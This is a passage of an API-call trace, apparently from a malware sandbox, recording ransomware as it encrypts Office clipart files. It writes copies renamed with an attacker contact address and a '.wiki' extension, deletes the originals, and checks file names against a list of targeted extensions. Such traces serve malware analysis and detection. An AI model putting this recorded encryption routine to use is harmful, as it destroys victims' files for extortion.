].wiki", dwFileAttributes=0x20) returned 1 [0195.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0195.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.374] lstrlenW (lpString=".doc") returned 4 [0195.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.374] lstrlenW (lpString=".docx") returned 5 [0195.374] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.374] lstrlenW (lpString=".pdf") returned 4 [0195.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.374] lstrlenW (lpString=".xls") returned 4 [0195.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.374] lstrlenW (lpString=".xlsx") returned 5 [0195.374] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.374] lstrlenW (lpString=".ppt") returned 4 [0195.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.374] lstrlenW (lpString=".zip") returned 4 [0195.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.374] lstrlenW (lpString=".rar") returned 4 [0195.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.374] lstrlenW (lpString=".bz2") returned 4 [0195.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.375] lstrlenW (lpString=".7z") returned 3 [0195.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.375] lstrlenW (lpString=".dbf") returned 4 [0195.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.375] lstrlenW (lpString=".1cd") returned 4 [0195.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.375] lstrlenW (lpString=".jpg") returned 4 [0195.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.375] lstrlenW (lpString=".doc") returned 4 [0195.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.375] lstrlenW (lpString=".docx") returned 5 [0195.375] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.375] lstrlenW (lpString=".pdf") returned 4 [0195.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.375] lstrlenW (lpString=".xls") returned 4 [0195.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.375] lstrlenW (lpString=".xlsx") returned 5 [0195.375] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.375] lstrlenW (lpString=".ppt") returned 4 [0195.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.375] lstrlenW (lpString=".zip") returned 4 [0195.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.375] lstrlenW (lpString=".rar") returned 4 [0195.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.376] lstrlenW (lpString=".bz2") returned 4 [0195.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.376] lstrlenW (lpString=".7z") returned 3 [0195.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.376] lstrlenW (lpString=".dbf") returned 4 [0195.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.376] lstrlenW (lpString=".1cd") returned 4 [0195.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0195.376] lstrlenW (lpString=".jpg") returned 4 [0195.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.376] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.376] lstrlenW (lpString="J0107480.WMF") returned 12 [0195.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.377] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6024) returned 1 [0195.377] CloseHandle (hObject=0x218) returned 1 [0195.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 0x20 [0195.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.377] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.377] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.377] GetLastError () returned 0x0 [0195.377] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1788, lpOverlapped=0x0) returned 1 [0195.381] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0195.383] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.383] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.383] SetEndOfFile (hFile=0x1e4) returned 1 [0195.383] CloseHandle (hObject=0x1e4) returned 1 [0195.383] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.383] SetEndOfFile (hFile=0x218) returned 1 [0195.384] CloseHandle (hObject=0x218) returned 1 [0195.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0195.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.384] lstrlenW (lpString=".doc") returned 4 [0195.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.384] lstrlenW (lpString=".docx") returned 5 [0195.384] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.384] lstrlenW (lpString=".pdf") returned 4 [0195.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.384] lstrlenW (lpString=".xls") returned 4 [0195.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.385] lstrlenW (lpString=".xlsx") returned 5 [0195.385] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.385] lstrlenW (lpString=".ppt") returned 4 [0195.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.385] lstrlenW (lpString=".zip") returned 4 [0195.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.385] lstrlenW (lpString=".rar") returned 4 [0195.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString=".bz2") returned 4 [0195.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString=".7z") returned 3 [0195.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.385] lstrlenW (lpString=".dbf") returned 4 [0195.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.385] lstrlenW (lpString=".1cd") returned 4 [0195.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.385] lstrlenW (lpString=".jpg") returned 4 [0195.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.385] lstrlenW (lpString=".doc") returned 4 [0195.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString=".docx") returned 5 [0195.385] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.385] lstrlenW (lpString=".pdf") returned 4 [0195.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.385] lstrlenW (lpString=".xls") returned 4 [0195.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.385] lstrlenW (lpString=".xlsx") returned 5 [0195.386] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.386] lstrlenW (lpString=".ppt") returned 4 [0195.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.386] lstrlenW (lpString=".zip") returned 4 [0195.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.386] lstrlenW (lpString=".rar") returned 4 [0195.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.386] lstrlenW (lpString=".bz2") returned 4 [0195.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.386] lstrlenW (lpString=".7z") returned 3 [0195.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.386] lstrlenW (lpString=".dbf") returned 4 [0195.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.386] lstrlenW (lpString=".1cd") returned 4 [0195.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0195.386] lstrlenW (lpString=".jpg") returned 4 [0195.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.386] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.386] lstrlenW (lpString="J0107482.WMF") returned 12 [0195.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.387] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4980) returned 1 [0195.387] CloseHandle (hObject=0x218) returned 1 [0195.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 0x20 [0195.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.387] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.387] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.388] GetLastError () returned 0x0 [0195.388] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1374, lpOverlapped=0x0) returned 1 [0195.389] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0195.391] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.391] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.391] SetEndOfFile (hFile=0x1e4) returned 1 [0195.392] CloseHandle (hObject=0x1e4) returned 1 [0195.392] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.392] SetEndOfFile (hFile=0x218) returned 1 [0195.392] CloseHandle (hObject=0x218) returned 1 [0195.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0195.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.393] lstrlenW (lpString=".doc") returned 4 [0195.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.393] lstrlenW (lpString=".docx") returned 5 [0195.393] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.393] lstrlenW (lpString=".pdf") returned 4 [0195.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.393] lstrlenW (lpString=".xls") returned 4 [0195.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.393] lstrlenW (lpString=".xlsx") returned 5 [0195.393] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.393] lstrlenW (lpString=".ppt") returned 4 [0195.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.393] lstrlenW (lpString=".zip") returned 4 [0195.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.393] lstrlenW (lpString=".rar") returned 4 [0195.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.393] lstrlenW (lpString=".bz2") returned 4 [0195.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.393] lstrlenW (lpString=".7z") returned 3 [0195.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.620] lstrlenW (lpString=".dbf") returned 4 [0195.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.620] lstrlenW (lpString=".1cd") returned 4 [0195.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.621] lstrlenW (lpString=".jpg") returned 4 [0195.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.621] lstrlenW (lpString=".doc") returned 4 [0195.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString=".docx") returned 5 [0195.621] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.621] lstrlenW (lpString=".pdf") returned 4 [0195.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString=".xls") returned 4 [0195.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.621] lstrlenW (lpString=".xlsx") returned 5 [0195.621] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.621] lstrlenW (lpString=".ppt") returned 4 [0195.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.621] lstrlenW (lpString=".zip") returned 4 [0195.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.621] lstrlenW (lpString=".rar") returned 4 [0195.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString=".bz2") returned 4 [0195.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString=".7z") returned 3 [0195.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.621] lstrlenW (lpString=".dbf") returned 4 [0195.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.622] lstrlenW (lpString=".1cd") returned 4 [0195.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0195.622] lstrlenW (lpString=".jpg") returned 4 [0195.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.622] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.622] lstrlenW (lpString="J0107658.WMF") returned 12 [0195.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.623] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7072) returned 1 [0195.623] CloseHandle (hObject=0x220) returned 1 [0195.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 0x20 [0195.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.623] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.623] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.624] GetLastError () returned 0x0 [0195.624] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0195.625] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0195.626] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.626] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.626] SetEndOfFile (hFile=0x1f8) returned 1 [0195.627] CloseHandle (hObject=0x1f8) returned 1 [0195.627] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.627] SetEndOfFile (hFile=0x220) returned 1 [0195.627] CloseHandle (hObject=0x220) returned 1 [0195.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0195.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0195.628] lstrlenW (lpString=".doc") returned 4 [0195.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.628] lstrlenW (lpString=".docx") returned 5 [0195.628] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.628] lstrlenW (lpString=".pdf") returned 4 [0195.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.628] lstrlenW (lpString=".xls") returned 4 [0195.628] lstrcmpiW 